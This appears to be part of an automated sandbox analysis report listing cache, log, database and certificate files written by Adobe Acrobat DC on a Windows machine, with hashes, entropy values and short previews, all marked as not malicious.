SHA-256:	41F52BA78E708F3EEBFB6720F9E13F5DDBE656BCA1E370DF90AA53223ABC6361
SHA-512:	FCF398D9D4274A7FFE41DE433DF3137BC1D62D1933733BAD71ED0DC69F77209427585F8D84088242070835FF2697FBEA752437A7A8C0945CB5A924652DCDC8F5
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341145508750011","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF45f81c.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	384
Entropy (8bit):	4.932552339462053
Encrypted:	false
SSDEEP:	6:YHpoueHOJ3/QBR+gR8+eqq5KL1SsDHF4R8H2a9a1o3/QBR70S7PMVKJTnMRKXk1Y:YH/um3RA8sq01SsBd2caq3QH7E4TX
MD5:	1B8F511BE0FCD6FB7524F55C9FB06E61
SHA1:	01BFA769F459561D9748A7E1AD5862DF8216BA4E
SHA-256:	41F52BA78E708F3EEBFB6720F9E13F5DDBE656BCA1E370DF90AA53223ABC6361
SHA-512:	FCF398D9D4274A7FFE41DE433DF3137BC1D62D1933733BAD71ED0DC69F77209427585F8D84088242070835FF2697FBEA752437A7A8C0945CB5A924652DCDC8F5
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341145508750011","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c225c90d-51d0-470c-b031-b36b32e67883.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	384
Entropy (8bit):	4.932552339462053
Encrypted:	false
SSDEEP:	6:YHpoueHOJ3/QBR+gR8+eqq5KL1SsDHF4R8H2a9a1o3/QBR70S7PMVKJTnMRKXk1Y:YH/um3RA8sq01SsBd2caq3QH7E4TX
MD5:	1B8F511BE0FCD6FB7524F55C9FB06E61
SHA1:	01BFA769F459561D9748A7E1AD5862DF8216BA4E
SHA-256:	41F52BA78E708F3EEBFB6720F9E13F5DDBE656BCA1E370DF90AA53223ABC6361
SHA-512:	FCF398D9D4274A7FFE41DE433DF3137BC1D62D1933733BAD71ED0DC69F77209427585F8D84088242070835FF2697FBEA752437A7A8C0945CB5A924652DCDC8F5
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341145508750011","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	6495
Entropy (8bit):	5.2473286760072035
Encrypted:	false
SSDEEP:	192:TUi8h+F8Aj8DRCGwtqzmsLnNreR2ZpjRe4I8qr9jnNI92D3jC+3ETKEAE8tKH5eQ:jX8eQd
MD5:	1ACB9310D002C2E15CA4793F639EB7C3
SHA1:	E306DC9B9E832ED8A8510781F68C8F689E9A94DA
SHA-256:	9813A32C0CB18DA1C17D997C4C107504A7436296F452E95026FF734A439F80E8
SHA-512:	77B15CBBFCF47CCE45B848CCDF1C3FA462220217F757AD4FAE085891AACA903339A292956A7138999A8CAA1D96EA6D2A81D1248F96488D12ADC3F1CBCDA120AD
Malicious:	false
Preview:	*...#................version.1..namespace-....o................next-map-id.1.Pnamespace-42000ee3_e7f8_4e1a_acf9_c35e414a379e-https://rna-resource.acrobat.com/.0F...r................next-map-id.2.Snamespace-c3e8f6d4_f714_436a_92db_f0a4810aae6e-https://rna-v2-resource.acrobat.com/.1.p..r................next-map-id.3.Snamespace-d0743b68_de08_4f3c_b7bc_aca178ee7ff1-https://rna-v2-resource.acrobat.com/.2....o................next-map-id.4.Pnamespace-ce27b6a8_7896_4616_ab45_36a5ede234ad-https://rna-resource.acrobat.com/.3..).^...............Pnamespace-42000ee3_e7f8_4e1a_acf9_c35e414a379e-https://rna-resource.acrobat.com/...^...............Pnamespace-ce27b6a8_7896_4616_ab45_36a5ede234ad-https://rna-resource.acrobat.com/.{VUa...............Snamespace-c3e8f6d4_f714_436a_92db_f0a4810aae6e-https://rna-v2-resource.acrobat.com/....a...............Snamespace-d0743b68_de08_4f3c_b7bc_aca178ee7ff1-https://rna-v2-resource.acrobat.com/yATuo................next-map-id.5.Pnamespace-eb3aef6d_d129_430c_a353_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.180373206896707
Encrypted:	false
SSDEEP:	6:7gsDAq2PsHO2nKuAl9OmbzNMxIFUt8OgeUEXZmw+OgkkwOsHO2nKuAl9OmbzNMFd:7gnvkHVHAa8jFUt8OgeJX/+Ogk51HVHP
MD5:	E5ACC6C9CAF31CC9023718E5C6EB995A
SHA1:	2A6E4DE8F0A81C96D28AF83A3E977362E3FC0E8E
SHA-256:	EE70BDDE1E3CBC31BF325E18F71ECC53129D38EC56D73556E4A6C2E8F7DB5BDE
SHA-512:	23BB4ED11191C7785CE833934C57A6EC54DAFFFAD66D5D5A6BE1F1D10EE5DF4971CDE2B6F3386D9C612D4D10A95C7FDAF96DFEABDB6F6827725036A08298FD46
Malicious:	false
Preview:	2024/12/16-12:44:34.287 1b90 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/12/16-12:44:34.289 1b90 Recovering log #3.2024/12/16-12:44:34.292 1b90 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.180373206896707
Encrypted:	false
SSDEEP:	6:7gsDAq2PsHO2nKuAl9OmbzNMxIFUt8OgeUEXZmw+OgkkwOsHO2nKuAl9OmbzNMFd:7gnvkHVHAa8jFUt8OgeJX/+Ogk51HVHP
MD5:	E5ACC6C9CAF31CC9023718E5C6EB995A
SHA1:	2A6E4DE8F0A81C96D28AF83A3E977362E3FC0E8E
SHA-256:	EE70BDDE1E3CBC31BF325E18F71ECC53129D38EC56D73556E4A6C2E8F7DB5BDE
SHA-512:	23BB4ED11191C7785CE833934C57A6EC54DAFFFAD66D5D5A6BE1F1D10EE5DF4971CDE2B6F3386D9C612D4D10A95C7FDAF96DFEABDB6F6827725036A08298FD46
Malicious:	false
Preview:	2024/12/16-12:44:34.287 1b90 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/12/16-12:44:34.289 1b90 Recovering log #3.2024/12/16-12:44:34.292 1b90 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000001.dbtmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	54
Entropy (8bit):	4.300640742663826
Encrypted:	false
SSDEEP:	3:wH+kst1HcZUV/TzmHcFnh:ybstVnV2inh
MD5:	2EE2012B4B717F58866127FA99462E6D
SHA1:	D46D0B83190C89420B95CE22F82361FF797D24CA
SHA-256:	DDBAF71680D24FB3219153FFFE5479E2AE3325CBF7382A3901BA3E76FE2710B7
SHA-512:	E4DDF7ACB3D3D25410D4CD3FD9A1016C821274AD25BB1C0DFBEA1EE95EEC3FF825CBE550A9FE7F562DCEAE3911458E47AD5C2549AA655863D6EBCE149E7F4A4B
Malicious:	false
Preview:	cR.b/................22_11\|360x240\|60........9J.B?.=yB

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\CURRENT (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.163103944731568
Encrypted:	false
SSDEEP:	6:7s46S3M1sHO2nKuAl9OmbzfXkrl2KLlps4ojIq2PsHO2nKuAl9OmbzfXkrK+IFUv:7s46KrHVHAa8/uLTs4EIvkHVHAa8/F3g
MD5:	EDB76F094A26AE1FEEE9D2E935A01F3A
SHA1:	D14AFEB4110CD8F5E022D799D6C456B26DE672B7
SHA-256:	96D53F3CD96BD9DBA90F195199E7494E86753CAAC14663E28A069ECB099A4EE9
SHA-512:	AF1313235262387CA4EC09AE7D60F71D990176ECD2936C67D3461EC277E2797AD49683423F825342EF4809F19EC1480E36827EE56C9BBED6336610166BE67D4D
Malicious:	false
Preview:	2024/12/16-12:46:17.503 1ac4 Creating DB C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db since it was missing..2024/12/16-12:46:17.512 1ac4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db/MANIFEST-000001.

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\MANIFEST-000001

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000001.dbtmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	126
Entropy (8bit):	3.6123534208443075
Encrypted:	false
SSDEEP:	3:G0XttkJcsRwI9tkJcsSaJkG3mH2lztzlkzXlfmH2lG:G0XtqcsqczaJf3mH2lztzl4mH2lG
MD5:	A05963DD9E2C7C3F13C18A9245AD5934
SHA1:	15A87493591860C6C22499DF3A705ACB3CB466BD
SHA-256:	F40B7EF0FE0B676871403B8DD21CE42AF8E482DC8B81F09D93CB2C48CCD112B4
SHA-512:	E67833950A3DB8D4C27FC851C7DF9AEBB85699024F805E98A2951E9E9FC3B606F10EAD23CE0A3B97484A18A9A52520540FB29787178BFEB9FBD8D46D0AA492A2
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... ..7..................22_......u...................22_.....

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\CURRENT (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.143260260001016
Encrypted:	false
SSDEEP:	6:7s470S3M1sHO2nKuAl9OmbzfXkrzs52KLlps4iMq2PsHO2nKuAl9OmbzfXkrzAdh:7s4nrHVHAa8/N9LTs4iMvkHVHAa8/iF2
MD5:	290E4DB264A675A9F5F7622031BBFE9A
SHA1:	66835C15425135DDA8D8F35E51894505B3589FBC
SHA-256:	103501B78EFA4EEC1434CCB606E879E8A084174B7A0C38BAF300343CAF545126
SHA-512:	C0675AC7687FF088ACD33D66918F256FE15D022E0F8E1A8A9F9996A05A4DE72D013EFA4F9B44F6B0C3517F88E7E075129A8E677D1F998A9497590C6C36E69E56
Malicious:	false
Preview:	2024/12/16-12:46:17.488 1ac4 Creating DB C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata since it was missing..2024/12/16-12:46:17.499 1ac4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata/MANIFEST-000001.

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\MANIFEST-000001

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241216174437Z-170.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 117 x -152 x 32, cbSize 71190, bits offset 54
Category:	dropped
Size (bytes):	71190
Entropy (8bit):	1.4912187851582999
Encrypted:	false
SSDEEP:	96:rZZfJQF5YLR1Gs1IMXVpN0EKAZnTDwEjBw5LpAbQcSJScpg9:tRmF+FEsR8D0BwLpAUfg9
MD5:	8B9B25883049DE6AA9EBDEC02BD5EA2A
SHA1:	23359FF71C18442B987BA18D0955A95C21B5FECB
SHA-256:	22904622E3106FFAF8FDF187D756EACC2A5D0AFD484F0B9BA9C96828D07BB2A9
SHA-512:	4DECC65C6C597CDCE1B2B5F36537248A2B672DCFA4F1FB24F551770464FFD1CE89C505B3D427C43561EECE66DC182EEAB3B8F216CE5820115CA63DE789B1198D
Malicious:	false
Preview:	BM........6...(...u...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.44517439494598
Encrypted:	false
SSDEEP:	384:yeZci5tBiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:FSs3OazzU89UTTgUL
MD5:	5BD470E6992C4A7EBE205F0AB3BC957E
SHA1:	E2A08FF0EF227C5B44C474CDD3B589402026BEA8
SHA-256:	F07102F366E2E9B709E0BE26852879F3A7BA3CDEAF6764407FB5C4B8CAEA45FE
SHA-512:	EB6614A45B1AB95B3CD5742A05B496AA969F8FAE5B6E8609E9CE3AECD2A3835F30E62946F7F3F199B81B8B01F00A730F884ED06B87D9B37188DDA9F5C09C7649
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7686628266581983
Encrypted:	false
SSDEEP:	48:7MTJioyVVfioyg8oy1C7oy16oy1+aKOioy1noy1AYoy1Wioy1oioykioyBoy1noz:7oJuVfBBfSXjBiBIb9IVXEBodRBkf
MD5:	69026BA6B985376420D528D3A1E96BC9
SHA1:	BEFF09BC7B2A0E05B65F832981C0175B3D2BAA5F
SHA-256:	6CC57254EE209B70DF4B155B0B0E5BF2B694F98FECAECED7DBA124DC4F1392A7
SHA-512:	736AF94C9B8E916A43DED0E39637F5BBC697B33F97E94C7F2F471EEA81C143916CBB4698EE4132757A6CDFAAFB90019C01F44701FD60D8ADE4CD85F239652114
Malicious:	false
Preview:	.... .c........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.725651573172973
Encrypted:	false
SSDEEP:	3:kkFklf9XfllXlE/HT8k7/XNNX8RolJuRdxLlGB9lQRYwpDdt:kK1T8udNMa8RdWBwRd
MD5:	10A61F580D9861914F9C4E6001C116E9
SHA1:	4A51A0CB4642CBDD2175F38AB9BCA6CC8250D137
SHA-256:	84B1B78A730CACA9779EFF16E9D3B40BC9514BDC6E3ADE2FCFAB6E856D64736E
SHA-512:	C125CCEA38B7135B64A6D1802874D7DB001F50F9ADC5A4C9A3D0C00D4DBE787D4C530340B3F8A035565D79126EF3A29784301BC5C715A3B89BBE7E62C902D6F9
Malicious:	false
Preview:	p...... ........l.x3.O..(....................................................... ..........W....3m..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.144086598890895
Encrypted:	false
SSDEEP:	6:kKB9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:oDnLNkPlE99SNxAhUe/3
MD5:	B3FAF8536D562303BD4203CDB367DA27
SHA1:	7619A1048D0EE0E8AE49C8B11FF1C8F9D4A36411
SHA-256:	5355304E60F218CC9CD26601F5CF77F3E8933C99700EFFD05B7B7E2DCB20D974
SHA-512:	ADCB65AB9206E33F8E4FAFA64ACA825AF06343CCEAAAA88BACE8181C21F24684BFE9E25A2B8CA598D5DC1371EBDC05809C8AE19190CD889F467F4E5DC8A094E4
Malicious:	false
Preview:	p...... ..........F.O..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
